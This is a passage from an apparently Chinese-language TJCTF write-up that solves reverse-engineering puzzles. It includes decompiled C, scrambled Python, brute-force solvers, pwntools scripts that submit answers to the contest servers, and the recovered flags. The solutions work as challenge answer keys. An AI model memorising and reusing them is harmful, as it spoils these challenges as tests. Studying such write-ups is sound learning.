- 0x00007ffc99076a10│+0x0010: 0x0000007700000000
- 0x00007ffc99076a18│+0x0018: 0x00007ffc99076a38 → 0x00000042ffffffff
- 0x00007ffc99076a20│+0x0020: 0x00007ffc990774d0 → 0x0000000000000001 ← $rbp
- 0x00007ffc99076a28│+0x0028: 0x0000563b8b9ca3df →
endbr64 - 0x00007ffc99076a30│+0x0030: 0x0000000000000350
- 0x00007ffc99076a38│+0x0038: 0x00000042ffffffff ← $rdi
- '''
给了密文,对小写大写数字分别作相应处理。
- int __cdecl main(int argc, const char **argv, const char **envp)
- {
- int i; // [rsp+8h] [rbp-58h]
- int v5; // [rsp+Ch] [rbp-54h]
- char s[32]; // [rsp+10h] [rbp-50h] BYREF
- char dest[40]; // [rsp+30h] [rbp-30h] BYREF
- unsigned __int64 v8; // [rsp+58h] [rbp-8h]
-
- v8 = __readfsqword(0x28u);
- printf("Enter text: ");
- fgets(s, 32, _bss_start);
- s[strlen(s) - 1] = 0;
- strcpy(dest, s);
- v5 = strlen(s);
- for ( i = 0; i < v5; ++i )
- {
- if ( s[i] <= 96 || s[i] > 122 )
- {
- if ( s[i] <= 64 || s[i] > 90 )
- {
- if ( s[i] <= 47 || s[i] > 52 )
- {
- if ( s[i] <= 52 || s[i] > 57 )
- {
- if ( s[i] != 123 && s[i] != 125 )
- {
- puts("wtmoo is this guess???");
- printf("%c\n", (unsigned int)s[i]);
- return 1;
- }
- }
- else
- {
- s[i] -= 21;
- }
- }
- else
- {
- s[i] += 43;
- }
- }
- else
- {
- s[i] += 32;
- }
- }
- else
- {
- s[i] -= 60;
- }
- }
- if ( !strcmp(s, flag) )
- printf(cow, dest);
- else
- printf(cow, s);
- return 0;
- }
没想到好办法逆回,采用直接爆破法
- c = b"8.'8*{;8m33[o[3[3[%\")#*\}"
- m = ''
- for i in range(len(c)):
- for k in range(0x20, 0x7f):
- j = k
- if j>=97 and j<=122:
- j-=60
- elif j>=65 and j<=90:
- j+=32
- elif j>=48 and j<=52:
- j+=43
- elif j>=53 and j<=57:
- j-=21
- elif j==123 or j==125:
- pass
- else:
- continue
- if j==c[i]:
- m += chr(k)
- print(m)
- break
这种题第一次见。把一个python代码去空格(python的软肋,特别特别软的软)顺序打乱。这回是真逆向。
- #first 3 lines are given
- import random
- seed = 1000
- random.seed(seed)
-
- #unscramble the rest
- def recur(lst):
- l2[i] = (l[i]*5+(l2[i]+n)*l[i])%l[i]
- l2[i] += inp[i]
- flag = ""
- flag+=chr((l4[i]^l3[i]))
- return flag
- l.append(random.randint(6, 420))
- l3[0] = l2[0]%mod
- for i in range(1, n):
- def decrypt(inp):
- for i in range(n):
- assert(len(l)==n)
- return lst[0]
- l = []
- main()
- def main():
- l4 = [70, 123, 100, 53, 123, 58, 105, 109, 2, 108, 116, 21, 67, 69, 238, 47, 102, 110, 114, 84, 83, 68, 113, 72, 112, 54, 121, 104, 103, 41, 124]
- l3[i] = (l2[i]^((l[i]&l3[i-1]+(l3[i-1]*l[i])%mod)//2))%mod
- if(len(lst)==1):
- assert(lst[0]>0)
- for i in range(1, n):
- for i in range(n):
- return recur(lst[::2])/recur(lst[1::2])
- print("flag is:", decrypt(inp))
- l2[0] +=int(recur(l2[1:])*50)
- l2 = [0]*n
- flag_length = 31
- mod = 256
- print(l2)
- n = len(inp)
- inp = [1]*flag_length
- l3 =[0]*n
不过有些东西还是容易看的,函数定义啥的都各开一断,然后一行行往里切。对了运行一下就行了。
- #first 3 lines are given
- import random
- seed = 1000
- random.seed(seed)
-
- #unscramble the rest
- def recur(lst):
- assert(lst[0]>0)
- if(len(lst)==1):
- return lst[0]
-
- return recur(lst[::2])/recur(lst[1::2])
-
- mod = 256
- flag_length = 31
- inp = [1]*flag_length
- n = len(inp)
-
- #1 init l
- l = [404, 225, 348, 395, 56, 207, 186, 38, 245, 90, 279, 229, 72, 119, 349, 129, 192, 353, 256, 109, 354, 347, 193, 122, 414, 240, 99, 26, 353, 389, 255]
- l2 = [0]*n
- l3 =[0]*n
- l4 = [70, 123, 100, 53, 123, 58, 105, 109, 2, 108, 116, 21, 67, 69, 238, 47, 102, 110, 114, 84, 83, 68, 113, 72, 112, 54, 121, 104, 103, 41, 124]
-
- for i in range(1, n):
- l2[i] = (l[i]*5+(l2[i]+n)*l[i])%l[i]
- l2[i] += inp[i]
-
- l2[0] +=int(recur(l2[1:])*50)
- print(l2)
-
- l3[0] = l2[0]%mod
- for i in range(1, n):
- l3[i] = (l2[i]^((l[i]&l3[i-1]+(l3[i-1]*l[i])%mod)//2))%mod
-
- def decrypt(inp):
- flag = ""
- for i in range(n):
- flag+=chr((l4[i]^l3[i]))
- return flag
-
-
- def main():
- print("flag is:", decrypt(inp))
-
- main()
这个加密比较简单,用已经部分异或
- int __cdecl main(int argc, const char **argv, const char **envp)
- {
- int i; // [rsp+Ch] [rbp-64h]
- char s[72]; // [rsp+10h] [rbp-60h] BYREF
- unsigned __int64 v6; // [rsp+58h] [rbp-18h]
-
- v6 = __readfsqword(0x28u);
- puts("Enter your flag");
- fgets(s, 64, _bss_start);
- if ( strlen(s) == 33 )
- {
- for ( i = 4; i < strlen(s) - 1; ++i )
- {
- if ( ((unsigned __int8)s[i - 4] ^ (unsigned __int8)s[i]) != flag[i - 4] )
- {
- puts("you're def wrong smh");
- return 1;
- }
- }
- puts("you might be right??? you might be wrong.... who knows?");
- return 0;
- }
- else
- {
- puts("bad");
- return 1;
- }
- }
由于flag壳是已知的,直接计算即可
-
- flag = bytes.fromhex('121100150b483c120c44001051192e16031c42110a4a72560d7a744f00')
-
- m = list(b'tjct')
- for i in range(len(flag)):
- m.append(m[i]^flag[i])
-
- bytes(m)
- #tjctf{cam3_saw_c0nqu3r3d98A24B5}
明文分3份分别加密(3份再分3份直到每个只有1个字符)
- def op1(b):
- for i in range(len(b)):
- b[i] += 8*(((b[i] % 10)*b[i]+75) & 1)
- cur = 1
- for j in range(420):
- cur *= (b[i]+j) % 420
- return b
-
-
- def op2(b):
- for i in range(len(b)):
- for j in range(100):
- b[i] = b[i] ^ 69
- b[i] += 12
- return b
-
-
- def op3(b):
- for i in range(len(b)):
- b[i] = ((b[i] % 2) << 7)+(b[i]//2)
- return b
-
-
- def recur(b):
- if len(b) == 1:
- return b
- assert len(b) % 3 == 0
- a = len(b)
- return op1(recur(b[0:a//3]))+op2(recur(b[a//3:2*a//3]))+op3(recur(b[2*a//3:]))
-
-
- flag = open("flag.txt", "r").read()
- flag = flag[:-1]
- b = bytearray()
- b.extend(map(ord, flag))
- res = recur(b)
- if res == b'\x8c\x86\xb1\x90\x86\xc9=\xbe\x9b\x80\x87\xca\x86\x8dKJ\xc4e?\xbc\xdbC\xbe!Y \xaf':
- print("correct")
- else:
- print("oopsies")
直接逆很麻烦,因为27个字符的顺序处理正好相反,采用爆破法,每个字符的对应位置和加密算法是不变的。可以爆破
- enc = list(b'\x8c\x86\xb1\x90\x86\xc9=\xbe\x9b\x80\x87\xca\x86\x8dKJ\xc4e?\xbc\xdbC\xbe!Y \xaf')
- flag = [0]*27
- for i in range(27):
- for j in range(0x20,0x7f):
- flag[i] = j
- v = recur(flag)
- if v[i] == enc[i]:
- break
-
- print(bytes(flag))
- #tjctf{randomfifteenmorelet}
回答好些问题,然后输入两个数,一看是z3实际上不是
- int __cdecl main(int argc, const char **argv, const char **envp)
- {
- int v4; // [rsp+0h] [rbp-230h]
- int i; // [rsp+4h] [rbp-22Ch]
- unsigned __int64 v6; // [rsp+8h] [rbp-228h]
- unsigned __int64 v7; // [rsp+10h] [rbp-220h]
- FILE *stream; // [rsp+18h] [rbp-218h]
- char s2[256]; // [rsp+20h] [rbp-210h] BYREF
- char s[264]; // [rsp+120h] [rbp-110h] BYREF
- unsigned __int64 v11; // [rsp+228h] [rbp-8h]
-
- v11 = __readfsqword(0x28u);
- setbuf(stdout, 0LL);
- type_text("last night, I had a dream...\ntaylor sw1ft, the dollar store version, appeared!\n");
- prompt((__int64)"what should I do? ", s2, 256);
- if ( strcmp("sing", s2) )
- {
- puts("no, no, that's a bad idea.");
- exit(0);
- }
- prompt((__int64)"that's a great idea!\nI started to sing the following lyrics: ", s2, 256);
- if ( strcmp("maybe I asked for too [many challenges to be written]", s2) )
- {
- puts("no, that's a dumb lyric.");
- exit(0);
- }
- type_text("ok... that's a weird lyric but whatever\n");
- prompt((__int64)"that leads me to ask... how many challenges did you ask for??? ", s2, 256);
- v6 = atol(s2);
- if ( 35 * (((3 * v6) ^ 0xB6D8) % 0x521) % 0x5EB != 1370 )// 3840432396
- {
- type_text("that's a stupid number.\n");
- exit(0);
- }
- prompt((__int64)"ok yeah you're asking too much of everyone; try to lower the number??? ", s2, 256);
- v7 = atol(s2);
- if ( (35 * ((5 * v7 % 0x1E61) | 0x457) - 5) % 0x3E8 != 80 )// 1625900223
- {
- type_text("yeah.");
- exit(0);
- }
- if ( v6 % v7 != 20202020 || v7 * v6 != 0x33D5D816326AADLL )
- {
- type_text("ok but they might think that's too much comparatively, duh.\n");
- exit(0);
- }
- type_text("that's a lot more reasonable - good on you!\n");
- usleep(0x124F8u);
- type_text("ok, now that we've got that out of the way, back to the story...\n");
- type_text("taylor was like, \"wow, you're so cool!\", and I said, \"no, you're so cool!\"\n");
- type_text("after that, we kinda just sat in silence for a little bit. I could kinda tell I was losing her attention, so ");
- v4 = 0;
- for ( i = 0; i <= 11; ++i )
- {
- prompt((__int64)"what should I do next? ", s2, 256);
- if ( !strcmp("ask her about some flags", s2) )
- {
- ++v4;
- }
- else if ( !strcmp("ask her about her new album", s2) )
- {
- v4 *= v4;
- }
- else
- {
- if ( strcmp("ask her about her tour", s2) )
- {
- type_text("no, that's weird\n");
- exit(0);
- }
- v4 += 22;
- }
- }
- if ( v4 != 2351 )
- {
- type_text("taylor died of boredom\n");
- exit(0);
- }
- type_text("taylor got sick and tired of me asking her about various topics, so she finally responded: ");
- stream = fopen("flag.txt", "r");
- if ( !stream )
- {
- type_text("no flag 3\n");
- exit(0);
- }
- fgets(s, 256, stream);
- type_text(s);
- return 0;
- }
显然64位的数这种运算z3干不了。
关键是最后的乘法检查,所以先将积分解,爆破因子组合出两个数。
- aa = 0x33D5D816326AAD
- fac = [3,3,29,37,409,11071,333667]
- for i in range(5):
- for j in range(i+1,6):
- for k in range(j+1,7):
- v6 = fac[i]*fac[j]*fac[k]
- v7 = aa//v6
- if v6%v7 == 20202020:
- print(v6,v7)
-
- v6,v7 =131313131, 111111111
一检查就对,它没用溢出,如果用整型溢出就麻烦点
后边是用12次运算凑数,(+1,+22,平方)手工整一个就行以根号为界两边就几步。
- from pwn import *
-
- p = remote('tjc.tf', 31500)
- context.log_level = 'debug'
-
- v6,v7 = 131313131, 111111111
- p.sendlineafter(b"what should I do? ", b"sing")
- p.sendlineafter(b"that's a great idea!\nI started to sing the following lyrics: " ,b"maybe I asked for too [many challenges to be written]")
- p.sendlineafter(b"that leads me to ask... how many challenges did you ask for??? ", str(v6).encode())
- p.sendlineafter(b"ok yeah you're asking too much of everyone; try to lower the number??? ", str(v7).encode())
-
- # (1+1+1+1+22+22)**2 +22 +22 +1 +1 +1
- a = [1,1,1,1,3,3,2,3,3,1,1,1]
- # ^48**2
- for i in a:
- if i==1:
- p.sendlineafter(b"what should I do next? ", b"ask her about some flags") #++
- elif i==2:
- p.sendlineafter(b"what should I do next? ", b"ask her about her new album") #**2
- else:
- p.sendlineafter(b"what should I do next? ", b"ask her about her tour") #+22
-
- p.recvline()
- p.interactive()
-
- # tjctf{5h3_ju5t_w4nt5_t0_st4y_1n_th4t_l4vend3r_h4z3_3a17362a}
这个费了一下午的时间睡觉,醒来沉住气,慢慢写。
- #!/usr/local/bin/python3.10 -u
-
- import ast
- import sys
-
- import select
- from Crypto.Util.number import bytes_to_long
- import hashlib
- import random
-
-
- def set_globals():
- global edge_lst, cnt, threshold, vals, key, lvs
- edge_lst = []
- cnt, threshold = 0, 128
- vals = [0 for _ in range(threshold*16)]
- randv = random.randint((1 << 15), (1 << 16))
- print("Rand:",hex(randv))
- key = (bytes_to_long(bytes('save thr trees!!', 'utf-8'))
- << 16) + randv
- lvs = []
-
-
- with open('flag.txt', 'r') as f:
- flag = f.readline()
-
-
- def ear3mt3sdk(nd):
- global cnt, threshold, edge_lst, lvs, key
- if nd > threshold:
- lvs.append(nd)
- return
- if nd > threshold // 2:
- if random.randint(1, 4) == 1:
- lvs.append(nd)
- return
- edge_lst.append((nd, cnt+1))
- edge_lst.append((nd, cnt+2))
- old_cnt = cnt
- vals[cnt+1] = (vals[nd] >> 16) ^ key
- vals[cnt+2] = (vals[nd] & ((1 << 16) - 1)) ^ key
- cnt += 2
- ear3mt3sdk(old_cnt+1)
- ear3mt3sdk(old_cnt+2)
-
-
- set_globals()
- hsh = int('0x10000000' + str(hashlib.sha256(flag.encode('utf-8')).hexdigest()), 16)
- print('hsh:', hex(hsh))
- vals[0] = hsh
- ear3mt3sdk(0)
-
- print('you have 5s to help treeelon musk save the trees!!')
- print(edge_lst)
- print([(nd, vals[nd]) for nd in lvs])
-
-
- def input_with_timeout(prompt, timeout):
- sys.stdout.write(prompt)
- sys.stdout.flush()
- ready, _, _ = select.select([sys.stdin], [], [], timeout)
- if ready:
- return sys.stdin.readline().rstrip('\n')
- raise Exception
-
-
- try:
- answer = input_with_timeout('', 5)
- except:
- print("\nyou let treeelon down :((")
- exit(0)
-
- try:
- answer = ast.literal_eval(answer)
- except:
- print("treeelon is very upset")
- exit(0)
-
- if hsh == answer:
- print('good job treeelon is proud of you <3<3')
- print(flag)
- else:
- print("treeelon is upset")
按二叉树将hsh切开(右边2字节)分别与key异或后放入左右子树,然后输出树结构和一些随机节点的数据。
这个就是要从后边向前恢复,由于key的后16位未知,又没有时间爆破,所以这里批一个特殊点。
每次后16位会与key加密,而后16位又会是上一步的后16-32位,所以在一个点上,这里是key全部(两字节份)异或的结果,这个点在节点34。
t_v[36][-2:] == xor(key_tail,b'\x10\x00', b'sa', b've',b' t', b'hr', b' t', b're', b'es', b'!!')
key_tail = xor(t_v[36][-2:], b'KA')
先第1次用尾号为0的key解一次密,然后找到34,得到完整的key,然后重新解密组合一次。
- '''
- Rand: 0xf6a2
- hsh: 0x10000000e42ee5f2da36700fdbde15a391bc8dd91c8ec0ac3222a60f0c8114d9dbd5220e
- '''
- from Crypto.Util.number import bytes_to_long,long_to_bytes
- from pwn import *
-
- p = remote('tjc.tf', 31519)
- context.log_level = 'debug'
- p.recvuntil(b'you have 5s to help treeelon musk save the trees!!\n')
-
- edge_lst = eval(p.recvline())
- vals = eval(p.recvline())
-
- key = (bytes_to_long(bytes('save thr trees!!', 'utf-8')) << 16) #+ 0xf6a2 #部分key
-
- n = 237
- t_id = [i for i in range(n)]
- t_left = [-1]*n
- t_right = [-1]*n
- t_v = [-1]*n #当前值
-
- for id,sub in edge_lst:
- if t_left[id] == -1:
- t_left[id] = sub
- elif t_right[id] == -1:
- t_right[id] = sub
-
- for id,v in vals:
- t_v[id] = v
-
- while True:
- for id in range(n):
- if t_v[id] == -1: #节点未填充
- if t_left[id] != -1 and t_right[id] != -1: #存在左右子树
- if t_v[t_left[id]] != -1 and t_v[t_right[id]]!= -1: #左右子树都有值
- t_v[id] = ((t_v[t_left[id]]^key)<<16) + (t_v[t_right[id]]^key) #填充当前树值
-
- if t_v[0] != -1:
- break
-
- for id,v in enumerate(t_v):
- if v != -1:
- print(id, long_to_bytes(v))
-
- '''
- t_v[36][-2:] == xor(key_tail,b'\x10\x00', b'sa', b've',b' t', b'hr', b' t', b're', b'es', b'!!')
- key_tail = xor(t_v[36][-2:], b'KA')
- '''
- print(long_to_bytes(t_v[36]))
- key_tail = xor(long_to_bytes(t_v[36])[-2:], b'KA')
- print('Key:', key_tail)
-
- #以正确的尾部重新解码
- key = key + bytes_to_long(key_tail)
-
- n = 237
- t_id = [i for i in range(n)]
- t_left = [-1]*n
- t_right = [-1]*n
- t_v = [-1]*n #当前值
-
- for id,sub in edge_lst:
- if t_left[id] == -1:
- t_left[id] = sub
- elif t_right[id] == -1:
- t_right[id] = sub
-
- for id,v in vals:
- t_v[id] = v
-
- while True:
- for id in range(n):
- if t_v[id] == -1: #节点未填充
- if t_left[id] != -1 and t_right[id] != -1: #存在左右子树
- if t_v[t_left[id]] != -1 and t_v[t_right[id]]!= -1: #左右子树都有值
- t_v[id] = ((t_v[t_left[id]]^key)<<16) + (t_v[t_right[id]]^key) #填充当前树值
-
- if t_v[0] != -1:
- break
-
- print(long_to_bytes(t_v[0]).hex())
- p.sendline(str(t_v[0]).encode())
- p.recvline()
- p.recvline()
-
- p.interactive()
- #tjctf{tR33s_g1v3_0xYg3ndx0x<3}